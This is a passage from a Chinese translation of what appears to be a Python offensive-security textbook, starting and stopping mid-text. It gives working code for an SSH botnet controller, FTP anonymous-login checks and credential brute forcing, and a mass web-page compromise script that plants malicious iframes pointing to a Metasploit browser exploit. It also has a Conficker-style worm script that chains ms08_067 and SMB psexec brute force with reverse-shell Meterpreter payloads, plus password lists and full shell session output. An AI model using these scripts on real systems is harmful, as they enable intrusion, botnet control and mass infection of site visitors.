tmp/00360c749f33ebbf5a05defe803d816a-31361 <..SNIPPED..> [-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176- 27637 [-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448 [-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168 [+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637 [-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516 [*] Exiting: Key Found. 构建 SSH 的僵尸网络 现在我们已经可以通过 SSH 控制一个主机,让我们扩大它同时控制多台主机。 攻击者经常利用一系列的被攻击的主机来进行恶意的行动。我们称这是僵尸网 络,因为这些脆弱的电脑的行为像僵尸一样执行命令。 为了构建我们的僵尸网络,我们将引入一个新的概念---class。class 的概念作 为面向对象编程的基础命名。在这个系统中,我们实例化与方法相关联的对象。 为了我们的僵尸网络,每个僵尸或者客户机都要求有连接和发送命令的能力。 # coding=UTF-8 import optparse import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Error Connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before 检查代码生成的类对象 Clinet()。为了建立客户机,我们需要主机名,用户名, 密码或者密钥。此外,类包含的方法要能支持一个客户端---connect(), sned_command(), alive()。注意,当我们引入一个变量时,它属于类,我们通 过 slef 来引用这个变量。为了构建僵尸网络,我们建立了一个全局的数组名字 为 botnet,这个数组包含了所有的连接对象。接下来,我们建立一个方法,名 字为 addClient()接受主机名,用户名和密码为参数,实例化一个连接对象然后 将它添加到 botnet 数组中。下一步,botnetCommand()方法接受命令参数, 这个方法遍历数组的每一个连接,给每一个连接的客户机发送命令。 自愿的僵尸网络 黑客组织 Anonymous,通常采用自愿的僵尸网络来攻击他们的敌人。为了攻 击的最大限度,这个还可组织要求他们的成员下载一个名为 LOIC 的工具。作 为一个集体,这个黑客组织的成员发动一个分布式的僵尸网络攻击来攻击他们 的目标。虽然是非法的,Anonymous 组织的的行为已经取得了一些引人注意 的和到得上的胜利成果。在最近的一个操作中,通过操作黑暗网络, Anonymous 利用自愿的僵尸网络淹没了致力于传播儿童情色资源的网络主机。 # coding=UTF-8 import optparse import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Error Connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output + '\n') def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) botNet = [] addClient('10.10.10.110', 'root', 'toor') addClient('10.10.10.120', 'root', 'toor') addClient('10.10.10.130', 'root', 'toor') botnetCommand('uname -v') botnetCommand('cat /etc/issue') 通过包装前面的内容,我们得到了我们最后的僵尸网络的脚本。这提供了一个 极好的控制大量主机的方法。为了测试,我们生成了 3 台 Backtrack5 的虚拟 主机作为目标。我们可以看到我们的脚本遍历三台主机并发送命令给每个受害 者。SSH 僵尸网络的生成脚本是直接攻击服务器。下一节我们集中在间接攻击 向量位目标,通过脆弱的服务器和另一种方法建立一个集体感染。 通过 FTP 连接 WEB 来渗透 在最近的一次巨大的损害中,被称为 k985ytv 的攻击者,使用匿名和盗用的 FTP 凭证,获得了 22400 个域名和 536000 被感染的页面。利用授权访问,攻 击者注入 Javascript 代码,使好的首页重定向到乌克兰境内的恶意页面。一旦 受感染的服务器被重定向到恶意的网站,恶意的主机将会在受害者电脑中安装 假冒的防病毒软件,并窃取受害者的信用卡信息。K985ytv 的攻击取得了巨大 的成功。在下面的章节中,我们将用 Python 来建立这种攻击。 检查受感染服务器的 FTP 日志,我们看看到底发什么什么事。一个自动的脚本 连接到目标主机以确认它是否包含一个名为 index.htm 的默认主页。接下来攻 击者上传了一个新的 index.htm 页面,可能包含恶意的重定向脚本。受感染的 服务器渗透利用任何访问它页面的脆弱客户机。 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "LIST / folderthis/folderthat/" 226 1862 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "TYPE I" 200 - 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "PASV" 227 - 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "SIZE index.htm" 213 - 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "RETR index.htm" 226 2573 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "TYPE I" 200 - 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "PASV" 227 - 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 - 0500] "STOR index.htm" 226 3018 为了更好的理解这种攻击的初始向量。我们简单的来谈一谈 FTP 的特点。文件 传输协议 FTP 服务用户在一个基于 TCP 网络的主机之间传输文件。通常情况下, 用户通过用户名和密码来验证 FTP 服务。然而,一些网站提供匿名认证的能力, 在这种情况下,用户提供用户名为“anonymous”,用电子邮件来代替密码。 用 Python 构建匿名的 FTP 扫瞄器 就安全而言,网站提供匿名的 FTP 服务器访问功能似乎很愚蠢。然而,令人惊 讶的是许多网站提供这类 FTP 的访问如升级软件,这使得更多的软件获取软件 的合法更新。我们可以利用 Python 的 ftplib 模块来构建一个小脚本,用来确 认服务器是否允许匿名登录。函数 anonLogin()接受一个主机名反汇编一个布 尔值来确认主机是否允许匿名登录。为了确认这个布尔值,这个函数尝试用匿 名认证生成一个 FTP 连接,如果成功,则返回“True”,产生异常则返回 “False”。 # coding=UTF-8 import ftplib def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!') ftp.quit() return True except Exception as e: print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!') return False host = '192.168.95.179' anonLogin(host) 运行这个脚本,我们可以看到脆弱的目标可以匿名登陆。 attacker# python anonLogin.py [*] 192.168.95.179 FTP Anonymous Logon Succeeded. 利用 Ftplib 暴力破解 FTP 用户认证 当匿名登录一路回车进入系统,攻击者也十分成功的利用偷来的证书获得合法 FTP 服务器的访问权限。FTP 客户端程序,比如说 FileZilla,经常将密码存储在配置文件中。安全专家发现,由于最近的恶意软件, FTP 证书经常被偷取。此外,HD Moore 甚至将 get_filezilla_creds.rb 的脚本 包含到最近的 Metasploit 的发行版本中允许用户快速的扫描目标主机的 FTP 证书。想象一个我们想通过暴力破解的包含 username/password 组合的 文本文件。对于这个脚本的目的,利用存贮在文本文件中的 username/password 组合。 administrator:password admin:12345 root:secret guest:guest root:toor 现在我们能扩展前面建立的 anonLogin()函数建立名为 brutelogin()的函数。 这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函 数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密 码尝试登陆 FTP 服务器。如果成功,将返回用户名和密码的元组,如果失败有 异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返 回包含 None 的元组。 # coding=UTF-8 import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print("[+] Trying: " + userName + "/" + passWord) try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + "/" + passWord) ftp.quit() return (userName, passWord) except Exception as e: pass print('\n[-] Could not brute force FTP credentials.') return (None, None) host = '192.168.95.179' passwdFile = 'userpass.txt' bruteLogin(host, passwdFile) 遍历用户名和密码组合,我们终于找到了用户名以及对应的密码。 attacker# python bruteLogin.py [+] Trying: administrator/password [+] Trying: admin/12345 [+] Trying: root/secret [+] Trying: guest/guest [*] 192.168.95.179 FTP Logon Succeeded: guest/guest 在 FTP 服务器上寻找 WEB 页面 有了 FTP 访问权限,我们还要测试服务器是否还提供了 WEB 访问。为了测试 这个,我们首先要列出 FTP 的服务目录并寻找默认的 WEB 页面。函数 returnDefault()接受一个 FTP 连接作为输入并返回一个找到的默认页面的数组。 它通过发送命令 NLST 列出目录内容。这个函数检查每个文件返回默认 WEB 页面文件名并将任何发现的默认 WEB 页面文件名添加到名为 retList 的列 表中。完成迭代这些文件之后,函数将返回这个列表。 # coding=UTF-8 import ftplib def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print('[+] Found default page: ' + fileName) retList.append(fileName) return retList host = '192.168.95.179' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) returnDefault(ftp) 看着这个脆弱的 FTP 服务器,我们可以看到它有三个 WEB 页面在基目录下。 好极了,我们知道可以移动我们的攻击向量到我们的被感染的页面。 attacker# python defaultPages.py [+] Found default page: index.html [+] Found default page: index.php [+] Found default page: testmysql.php 添加恶意注入脚本到 WEB 页面 现在我们已经找到了 WEB 页面文件,我们必须用一个恶意的重定向感染它。 为了快速的生成一个恶意的服务器和页面在 http://10.10.10.112:8080/exploit 页面,我们将使用 Metasploit 框架。注意, 我们选择 ms10_002_aurora 的 Exploit,同样的 Exploit 被用在攻击 Google 的 极光行动中。位与 http://10.10.10.112:8080/exploit 的页面将重定向到受害 者,这将返回给我们一个反弹的 Shell。 attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E [*] Please wait while we load the module tree... <...SNIPPED...> LHOST => 10.10.10.112 SRVHOST => 10.10.10.112 URIPATH => /exploit PAYLOAD => windows/shell/reverse_tcp LHOST => 10.10.10.112 LPORT => 443 [*] Exploit running as background job. [*] Started reverse handler on 10.10.10.112:443 [*] Using URL:http://10.10.10.112:8080/exploit [*] Server started. msf exploit(ms10_002_aurora) > 任何脆弱的客户机连接到我们的服务页面 http://10.10.10.112:8080/exploit 都将会落入我们的陷阱中。如果成功,它 将建立一个反向的 TCP Shell 并允许我们远程的在客户机上执行 Windows 命 令。从这个命令行 Shell 我们能在受感染的受害者主机上以管理员权限执行命 令。 msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 10.10.10.107 [*] Sending stage (240 bytes) to 10.10.10.107 [*] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:49181) at 2012-06-24 10:05:10 -0600 msf exploit(ms10_002_aurora) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop> 接下来,我们必须添加一个重定向从被感染的主机到我们的恶意的服务器。为 此,我们可以从攻陷的服务器下载默认的 WEB 页面,注入一个 iframe,然后 上传恶意的页面到服务器上。看看这个 injectPage()函数,它接受一个 FTP 连 接,一个页面名和一个重定向的 iframe 的字符串作为输入,然后下载页面作为 临时副本,接下来,添加重定向的 iframe 代码到临时文件中。最后,该函数上 传这个被感染的页面到服务器中。 # coding=UTF-8 import ftplib def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page host = '192.168.95.179' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) redirect = '' injectPage(ftp, 'index.html', redirect) 运行我们的代码,我们可以看到它下载 index.html 页面然后注入我们的恶意代 码到里面。 attacker# python injectPage.py [+] Downloaded Page: index.html [+] Injected Malicious IFrame on: index.html [+] Uploaded Injected Page: index.html 将攻击整合在一起 现在我们就整合所有的攻击到 attack()函数中。attack()函数接收一个主机名, 用户名,密码和定位地址为输入。这个函数首先利用用户凭证登陆 FTP 服务器, 接下来我们寻找默认页面,下载每一个页面并且添加恶意的重定向代码,然后 上传修改后的页面到 FTP 服务器中。 def attack(username, password, tgtHost, redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) 添加一些选项参数,我们包装整合我们的脚本。你将注意到我们首先尝试匿名 登录 FTP 服务器,如果失败,我们将通过暴力破解得到服务器的认证。虽然只 有近百行代码,但这个攻击完全可以复制 k985ytv 的原始的攻击向量。 # coding=UTF-8 import ftplib import optparse import time def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.') ftp.quit() return True except Exception as e: print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.') return False def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + userName + '/' + passWord try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: '+userName+'/'+passWord) ftp.quit() return (userName, passWord) except Exception, e: pass print('\n[-] Could not brute force FTP credentials.') return (None, None) def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print('[+] Found default page: ' + fileName) retList.append(fileName) return retList def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) ftp.storlines('STOR ' + page, open(page + '.tmp')) print('[+] Uploaded Injected Page: ' + page) def attack(username, password, tgtHost, redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) def main(): parser = optparse.OptionParser('usage%prog -H -r [-f ]') parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host') parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file') parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page') (options, args) = parser.parse_args() tgtHosts = str(options.tgtHosts).split(', ') passwdFile = options.passwdFile redirect = options.redirect if tgtHosts == None or redirect == None: print parser.usage exit(0) for tgtHost in tgtHosts: username = None password = None if anonLogin(tgtHost) == True: username = 'anonymous' password = 'me@your.com' print '[+] Using Anonymous Creds to attack' attack(username, password, tgtHost, redirect) elif passwdFile != None: (username, password) = bruteLogin(tgtHost, passwdFile) if password != None: print'[+] Using Creds: ' + username + '/' + password + ' to attack' attack(username, password, tgtHost, redirect) if __name__ == '__main__': main() 运行我们的脚本攻击一个脆弱的 FTP 服务器,我们看到它尝试匿名登陆失败, 然后暴力破解获得用户名和密码,然后下载和注入代码到每一个基目录里的文 件。 attacker# python massCompromise.py -H 192.168.95.179 -r '' -f userpass.txt [-] 192.168.95.179 FTP Anonymous Logon Failed. [+] Trying: administrator/password [+] Trying: admin/12345 [+] Trying: root/secret [+] Trying: guest/guest [*] 192.168.95.179 FTP Logon Succeeded: guest/guest [+] Found default page: index.html [+] Found default page: index.php [+] Downloaded Page: index.html [+] Injected Malicious IFrame on: index.html [+] Uploaded Injected Page: index.html [+] Downloaded Page: index.php [+] Injected Malicious IFrame on: index.php [+] Uploaded Injected Page: index.php [+] Injected Malicious IFrame on: testmysql.php 我们确保我们的攻击向量在运行,然后等待客户机连接到我们受感染的 WEB 服务器上。很快,10.10.10.107 访问了服务器然后重定向到了我们的恶 意服务器上。成功!我们通过被感染的 FTP 服务器得到了一个受害者主机的命 令行 Shell。 attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E [*] Please wait while we load the module tree... <...SNIPPED...> [*] Exploit running as background job. [*] Started reverse handler on 10.10.10.112:443 [*] Using URL:http://10.10.10.112:8080/exploit [*] Server started. msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 10.10.10.107 [*] Sending stage (240 bytes) to 10.10.10.107 [*] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:65507) at 2012-06-24 10:02:00 -0600 msf exploit(ms10_002_aurora) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop> 虽然很多罪犯传播假的反病毒软件利用了 k985ytv 攻击作为许多的攻击向量之 一。km985ytv 成功的攻陷了 11000 台主机中的 2220 台。总的来说,假冒的 杀毒软件盗取了超过 43000000 的用户的信用卡信息在 2009 年,并还在持续 增长中。这一百多行的代码还不错。在下一节中,我们将创建一个攻击了 200 多个国家 5 百万台主机的攻击向量。 Conficker 蠕虫,为什么努力总是好的 2008 年下旬,计算机安全专家被一个有趣的改变游戏规则的蠕虫叫醒。 Conficker 和 W32DownandUp 蠕虫如此迅速的蔓延,很快就感染了 200 多 个国家的 5 百多万台主机。在一些先进(数字签名,有效的加密荷载,另类的传 播方案)的辅助攻击中,Conficker 蠕虫非常用心,和 1988 年的 Morris 蠕虫有 着相似的攻击向量。在接下来的章节中,我们将重现 Conficker 蠕虫的主要攻 击向量。 在 常规的感染的基础上,Conficker 利用了两个单独的攻击向量。首先,利用 Windows Server 系统的一个 0day 漏洞。利用这个漏洞,蠕虫能够引起堆栈 溢出从而能够执行 Shellcode 并下载一个副本给受到感染的主机。当这种攻击 方法失败时,Conficker 蠕虫尝试通过暴力破解默认的网络管理共享 (ADMIN$)来获取受害人主机的管理权限。 密码攻击 在它的攻击中,Conficker 蠕虫利用了一个超过 250 个常用密码的密码列表。 Morris 蠕虫曾使用的密码列表有 432 个密码。这两个非常成功的攻击有 11 个 共同的密码。建立你自己的攻击列表时,是绝对值得包含这 11 个密码的。 aaa academia anything coffee computer cookie oracle password secret super Unknown 在几次大规模的攻击波中,黑客们发布了很多密码在网络上。而导致这些密码 尝试的活动无疑是违法的。这些密码已经被安全专家研究证明是很有趣的。 DARPA 计算机网络快速追踪项目管理人, Peiter Zatko 让整个房间的军队高 层脸红,当他问到他们是否用两个大写字母,再加上两个特殊符号和两个数字 组合来构建他们的密码时。此外,黑客组织 LulzSec 在 2011 年 6 月公布了 26000 个使用的密码和个人信息。在一次有组织的攻击中,这些密码被用来重 复攻击同一个人的社交网站。然而,规模最大的攻击是一个新闻和八卦的博客 网站泄漏了一百万的用户名和密码。 用 Metasploit 攻击 Windows SMB 服务 为了简化我们的攻击,我们将使用 Metasploit 框架,可以从下面的网站下载: http://metasploit.com/download/。Metasploit 是开源的计算机安全项目, 在过去的几年里正在得到快速的发展和普及并已经成为很受欢迎的渗透工具包。 由传奇人物 HD Moore 倡导并开发的。Metasploit 允许渗透测试人员利用标 准化的脚本环境发起数千种不同的渗透测试。发行版包含了 Conficker 蠕虫利 用的漏洞,HD Moore 整合了这个渗透测试在 Metasploit 中---ms08- 067_netapi。 利用 Metasploit 我们可以在攻击时进行交互,它也有能力读取批处理资源文 件。Metasploit 按顺序处理,以便执行批处理文件中的命令进行攻击。例如, 如果我们想攻击的目标主机为 192.168.13.37,利用 ms80-067_netapi 渗透测 试,并返回给 192.168.77.77 主机上的 7777 端口的一个 TCP Shell。 use exploit/windows/smb/ms08_067_netapi set RHOST 192.168.1.37 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.77.77 set LPORT 7777 exploit –j –z 为了利用 Metasploit 的攻击,我们选择我们的 Exploit(exploit/windows/ smb/ms08_067_netapi),然后设置目标为 192.168.1.37。接下来我们指定攻 击荷载为 windows/meterpreter/reverse_tcp 选择反向连接到我们的 192.168.77.77 的 7777 端口上,最后我们告诉 Metasploit 开始攻击系统。保 存配置文件为 conficker.rc,我们可以通过命令 msfconsole -r conficker.rc 来 启动我们的攻击。这个命令会告诉 Metasploit 根据 conficker.rc 来启动攻击。 如果成功,我们的攻击会返回一个命令行 Shell 来控制对方电脑。 attacker$ msfconsole -r conficker.rc [*] Exploit running as background job. [*] Started reverse handler on 192.168.77.77:7777 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.37 [*] Meterpreter session 1 opened (192.168.77.77:7777 -> 192.168.1.37:1087) at Fri Nov 11 15:35:05 -0700 2011 msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > execute -i -f cmd.exe Process 2024 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> 用 Python 和 Metasploit 交互 太棒了!我们建立了一个配置文件,渗透了一个主机并获得了一个 shell。重复 这个过程对 254 个主机会花费大量的时间来修改配置文件,但是如果利用 Python,我们可以生成一个快速的扫描脚本,扫描 445 端口打开的主机,然 后利用 Metasploit 资源文件攻击有漏洞的主机。 首先,让我们从先前的端口扫描的例子中利用 python-nmap 模块。这里,函 数 findTgts()以潜在目标主机作为输入,返回所有开了 TCP 445 端口的主机。 TCP 445 端口是 SMB 协议的主要端口。只要主机的 TCP 445 端口是开放的, 我们的脚本就能有效的攻击,这会消除主机对我们尝试连接的阻碍。函数通过 迭代扫描所有的主机,如果函数发现主机开放了 445 端口,就将主机加入列表 中。完成迭代后,函数会返回包含所有开放 445 端口主机的列表。 import nmap def findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet, '445') tgtHosts = [] for host in nmScan.all_hosts(): if nmScan[host].has_tcp(445): state = nmScan[host]['tcp'][445]['state'] if state == 'open': print '[+] Found Target Host: ' + host tgtHosts.append(host) return tgtHosts 接下来,我们将对我们攻击的目标设置监听,监听器或者命令行与控制信道, 一旦他们渗透成功我们就可以与远程目标主机进行交互。Metasploit 提供了先 进的动态的攻击荷载 Meterpreter。Metasploit 的 Meterpreter 运行在远程 主机上,返回给我们命令行用来控制主机,提供了大量的控制和分析目标主机 的能力。Meterpreter 扩展了命令行的能力,包括数字取证,发送命令,远程 路由,安装键盘记录器,下载密码或者 Hash 密码等等功能。 当 Meterpreter 反向连接到攻击者主机,并控制主机的 Metasploit 的模块叫 做 multi/handler。为了在我们的主机上设置 multi/handler 的监听器,我们 首先要写下指令到 Metasploit 的资源配置文件中。注意,我们如何设置一个 有效的 TCP 反弹连接的攻击荷载并标明我们本地主机将要接受连接的地址和端 口号。此外,我们将设置一个全局配置 DisablePayloadHandler 来标识以后我 们所有的主机都不必设置监听器,因为我们已经正在监听了。 def setupHandler(configFile, lhost, lport): configFile.write('use exploit/multi/handler\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') configFile.write('setg DisablePayloadHandler 1\n') 最后,脚本已经准备好了攻击目标主机。这个函数将接收一个 Metasploit 配 置文件,一个目标主机,一个本地地址和端口作为输入进行渗透测试。这个函 数写入特定的 exploit 到配置文件中。它首先选择特殊的 exploit---ms08- 067_netapi,曾经被 Conficker 蠕虫利用的 exploit 攻击目标。此外,它还要 选择 Meterpreter 攻击荷载需要的本地地址和本地端口。最后,它发送一个指 令开始攻击目标主机,在后台执行工作(-j),但并不马上打开交互(-z),该脚本 需要一些特定的选项,因为它将攻击多个主机,无法与所以的主机进行交互。 def confickerExploit(configFile, tgtHost, lhost, lport): configFile.write('use exploit/windows/smb/ms08_067_netapi\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') 远程执行暴力破解 当攻击者成功的启动 ms08-067_netapi 的 exploit 攻击全世界的受害者的时候, 管理员安装最新的安全补丁能轻松的组织攻击。因此,脚本将使用 Conficker 蠕虫使用的第二个攻击向量。它将通过用户名和密码的组合暴力破 解 SMB 服务获得对主机的远程远程执行程序的权限。函数 smbBrute 接受 Metasploit 配置文件,目标主机,一系列密码的文件,本地地址和本地端口作 为输入,然后进行监听。它设置用户名为默认的 Windows 管理员 administrator 然后打开密码文件。对于文件的每一个密码,函数将建立一个 Metasploit 资源配置文件为了使用远程执行程序的 exploit。如果一个用户名 和密码组合成功了,exploit 将会启动 Meterpreter 攻击荷载反向连接到本地 的地址和端口。 def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): username = 'Administrator' pF = open(passwdFile, 'r') for password in pF.readlines(): password = password.strip('\n').strip('\r') configFile.write('use exploit/windows/smb/psexec\n') configFile.write('set SMBUser ' + str(username) + '\n') configFile.write('set SMBPass ' + str(password) + '\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') 将所有的放在一起建立我们自己的 Conficker 蠕虫 尝试把所有的功能放在一起,我们的脚本现在已经具备扫描目标,利用 ms08- 067_netapi 漏洞,暴力破解 SMB 用户名密码并远程执行程序的能力了。最后, 我们增加一些选项给脚本的 main()函数把以前写的函数整合包装在一起调用。 完整的代码如下。 # coding=UTF-8 import os import optparse import sys import nmap def findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet, '445') tgtHosts = [] for host in nmScan.all_hosts(): if nmScan[host].has_tcp(445): state = nmScan[host]['tcp'][445]['state'] if state == 'open': print '[+] Found Target Host: ' + host tgtHosts.append(host) return tgtHosts def setupHandler(configFile, lhost, lport): configFile.write('use exploit/multi/handler\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') configFile.write('setg DisablePayloadHandler 1\n') def confickerExploit(configFile, tgtHost, lhost, lport): configFile.write('use exploit/windows/smb/ms08_067_netapi\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): username = 'Administrator' pF = open(passwdFile, 'r') for password in pF.readlines(): password = password.strip('\n').strip('\r') configFile.write('use exploit/windows/smb/psexec\n') configFile.write('set SMBUser ' + str(username) + '\n') configFile.write('set SMBPass ' + str(password) + '\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') def main(): configFile = open('meta.rc', 'w') parser = optparse.OptionParser('[-] Usage%prog -H -l [-p -F ]') parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address[es]') parser.add_option('-p', dest='lport', type='string', help='specify the listen port') parser.add_option('-l', dest='lhost', type='string', help='specify the listen address') parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt') (options, args) = parser.parse_args() if (options.tgtHost == None) | (options.lhost == None): print parser.usage exit(0) lhost = options.lhost lport = options.lport if lport == None: lport = '1337' passwdFile = options.passwdFile tgtHosts = findTgts(options.tgtHost) setupHandler(configFile, lhost, lport) for tgtHost in tgtHosts: confickerExploit(configFile, tgtHost, lhost, lport) if passwdFile != None: smbBrute(configFile, tgtHost, passwdFile, lhost, lport) configFile.close() os.system('msfconsole -r meta.rc') if __name__ == '__main__': main() 到目前为止我们利用的都是已知的方法攻击的。然而,没有已知的攻击方法的 目标主机怎么办?你怎样建立你自己的 0day 攻击?在接下来的章节中,我们 我们将建立我们自己的 0day 攻击。 attacker# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F passwords.txt [+] Found Target Host: 192.168.1.35 [+] Found Target Host: 192.168.1.37 [+] Found Target Host: 192.168.1.42 [+] Found Target Host: 192.168.1.45 [+] Found Target Host: 192.168.1.47 <..SNIPPED..> [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.37 [*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.37:1087) at Sat Jun 23 16:25:05 -0700 2012 <..SNIPPED..> [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.42 [*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.42:1094) at Sat Jun 23 15:25:09 -0700 2012 编写你自己的 0day POC 代码 上一节的 Conficker 蠕虫利用的是堆栈溢出漏洞。Metasploit 框架包含了几百 种独一无二的 exploit,你可能碰到要你自己写的远程代码执行的 exploit 的代 码。这一节我们将讲解怎样用 Python 简化这一过程。为了做到这些,我们要 开始讲解缓冲区溢出的知识。 Morris 蠕虫成功的部分原因是 Finger 服务的堆栈缓冲区溢出的漏洞利用。这 